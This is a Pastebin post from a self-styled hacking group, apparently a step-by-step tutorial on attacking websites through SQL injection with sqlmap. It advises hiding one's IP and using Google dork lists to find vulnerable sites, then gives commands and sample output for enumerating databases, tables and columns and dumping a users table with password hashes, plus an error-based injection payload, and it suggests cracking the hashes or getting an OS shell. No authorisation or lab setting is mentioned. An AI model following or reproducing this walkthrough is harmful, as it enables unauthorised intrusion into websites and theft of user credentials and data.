Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #############################################################
- ### #Team Cyberdark ( #Operation Freedom Tutorial ) ###
- #############################################################
- +-------------------------------------------+
- Video [ Web Exploitation ] -> + SQL Injection + SQLMap on Kali Linux +
- +-------------------------------------------+
- All together don't forget Protect yourself it means hide your IP real local this link will show you How to hide your ip on Kali Linux :
- : https://youtu.be/Ttn1_WwdZzU
- What is Googledork lists ?
- Googledorks lists to find bug Website vulnerability by SQL and you can tool to scanner website vulnerability by SQL i means it is a word for find bug website vulnerbility
- Download Googledork from this link : http://pastebin.com/Kxy8pdLL
- =============================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================
- >>> SQLMAP on Kali Linux Tutorial <<< Step by step text tutorial
- Sqlmap is one of the most popular and powerful sql injection automation tool out there. Given a vulnerable http request url, sqlmap can exploit the remote database and do a lot of hacking like extracting database names, tables, columns, all the data in the tables etc. It can even read and write files on the remote file system under certain conditions. Written in python it is one of the most powerful hacking tools out there. Sqlmap is the metasploit of sql injections.
- Sqlmap is included in pen testing linux distros like kali linux, backtrack, backbox etc. On other distros it can be simply downloaded from the following url
- http://sqlmap.org/.
- Since its written in python, first you have to install python on your system. On ubuntu install python from synaptic. On windows install activestate python. Check out this post for details on how to install and run sqlmap on windows.
- For the list of options and parameters that can be used with the sqlmap command, check the sqlmap documentation at
- https://github.com/sqlmapproject/sqlmap/wiki/Usage
- In this tutorial we are going to learn how to use sqlmap to exploit a vulnerable web application and see what all can be done with such a tool.
- To understand this tutorial you should have thorough knowledge of how database driven web applications work. For example those made with php+mysql.
- Vulnerable Urls
- Lets say there is a web application or website that has a url in it like this
- http://www.site.com/section.php?id=51
- and it is prone to sql injection because the developer of that site did not properly escape the parameter id. This can be simply tested by trying to open the url
- http://www.site.com/section.php?id=51'
- We just added a single quote in the parameter. If this url throws an error or reacts in an unexpected manner then it is clear that the database has got the unexpected single quote which the application did not escape properly. So in this case this input parameter "id" is vulnerable to sql injection.
- Hacking with sqlmap
- Now its time to move on to sqlmap to hack such urls. The sqlmap command is run from the terminal with the python interpreter.
- python sqlmap.py -u "http://www.site.com/section.php?id=51"
- The above is the first and most simple command to run with the sqlmap tool. It checks the input parameters to find if they are vulnerable to sql injection or not. For this sqlmap sends different kinds of sql injection payloads to the input parameter and checks the output. In the process sqlmap is also able to identify the remote system os, database name and version. Here is how the output might look like
- [*] starting at 12:10:33
- [12:10:33] [INFO] resuming back-end DBMS 'mysql'
- [12:10:34] [INFO] testing connection to the target url
- sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
- ---
- Place: GET
- Parameter: id
- Type: error-based
- Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
- Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
- ---
- [12:10:37] [INFO] the back-end DBMS is MySQL
- web server operating system: FreeBSD
- web application technology: Apache 2.2.22
- back-end DBMS: MySQL 5
- So the sqlmap tool has discovered the operating system, web server and database along with version information. Even this much is pretty impressive. But its time to move on and see what more is this tool capable of.
- Discover Databases
- Once sqlmap confirms that a remote url is vulnerable to sql injection and is exploitable the next step is to find out the names of the databases that exist on the remote system. The "--dbs" option is used to get the database list.
- $ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs
- The output could be something like this
- [*] starting at 12:12:56
- [12:12:56] [INFO] resuming back-end DBMS 'mysql'
- [12:12:57] [INFO] testing connection to the target url
- sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
- ---
- Place: GET
- Parameter: id
- Type: error-based
- Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
- Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
- ---
- [12:13:00] [INFO] the back-end DBMS is MySQL
- web server operating system: FreeBSD
- web application technology: Apache 2.2.22
- back-end DBMS: MySQL 5
- [12:13:00] [INFO] fetching database names
- [12:13:00] [INFO] the SQL query used returns 2 entries
- [12:13:00] [INFO] resumed: information_schema
- [12:13:00] [INFO] resumed: safecosmetics
- available databases [2]:
- [*] information_schema
- [*] safecosmetics
- The output shows the existing databases on the remote system.
- Find tables in a particular database
- Now its time to find out what tables exist in a particular database. Lets say the database of interest over here is 'safecosmetics'
- Command
- $ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics
- and the output can be something similar to this
- [11:55:18] [INFO] the back-end DBMS is MySQL
- web server operating system: FreeBSD
- web application technology: Apache 2.2.22
- back-end DBMS: MySQL 5
- [11:55:18] [INFO] fetching tables for database: 'safecosmetics'
- [11:55:19] [INFO] heuristics detected web page charset 'ascii'
- [11:55:19] [INFO] the SQL query used returns 216 entries
- [11:55:20] [INFO] retrieved: acl_acl
- [11:55:21] [INFO] retrieved: acl_acl_sections
- ........... more tables
- isnt this amazing ? it if ofcourse. Lets get the columns of a particular table now.
- Get columns of a table
- Now that we have the list of tables with us, it would be a good idea to get the columns of some important table. Lets say the table is 'users' and it contains the username and password.
- $ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users
- The output can be something like this
- [12:17:39] [INFO] the back-end DBMS is MySQL
- web server operating system: FreeBSD
- web application technology: Apache 2.2.22
- back-end DBMS: MySQL 5
- [12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics'
- [12:17:41] [INFO] heuristics detected web page charset 'ascii'
- [12:17:41] [INFO] the SQL query used returns 8 entries
- [12:17:42] [INFO] retrieved: id
- [12:17:43] [INFO] retrieved: int(11)
- [12:17:45] [INFO] retrieved: name
- [12:17:46] [INFO] retrieved: text
- [12:17:47] [INFO] retrieved: password
- [12:17:48] [INFO] retrieved: text
- .......
- [12:17:59] [INFO] retrieved: hash
- [12:18:01] [INFO] retrieved: varchar(128)
- Database: safecosmetics
- Table: users
- [8 columns]
- +-------------------+--------------+
- | Column | Type |
- +-------------------+--------------+
- | email | text |
- | hash | varchar(128) |
- | id | int(11) |
- | name | text |
- | password | text |
- | permission | tinyint(4) |
- | system_allow_only | text |
- | system_home | text |
- +-------------------+--------------+
- So now the columns are clearly visible. Good job!
- Get data from a table
- Now comes the most interesting part, of extracting the data from the table. The command would be
- $ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users
- The above command will simply dump the data of the particular table, very much like the mysqldump command.
- The output might look similar to this
- +----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
- | id | hash | name | email | password | permission | system_home | system_allow_only |
- +----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
- | 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |
- +----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
- The hash column seems to have the password hash. Try cracking the hash and then you would get the login details rightaway. sqlmap will create a csv file containing the dump data for easy analysis.
- So far we have been able to collect a lot of information from the remote database using sqlmap. Its almost like having direct access to remote database through a client like phpmyadmin. In real scenarios hackers would try to gain a higher level to access to the system. For this, they would try to crack the password hashes and try to login through the admin panel. Or they would try to get an os shell using sqlmap.
- I wrote another post on using sqlmap to get more details about remote databases. It explains the other options of sqlmap that are useful to find the out the database users, their privileges and their password hashes.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement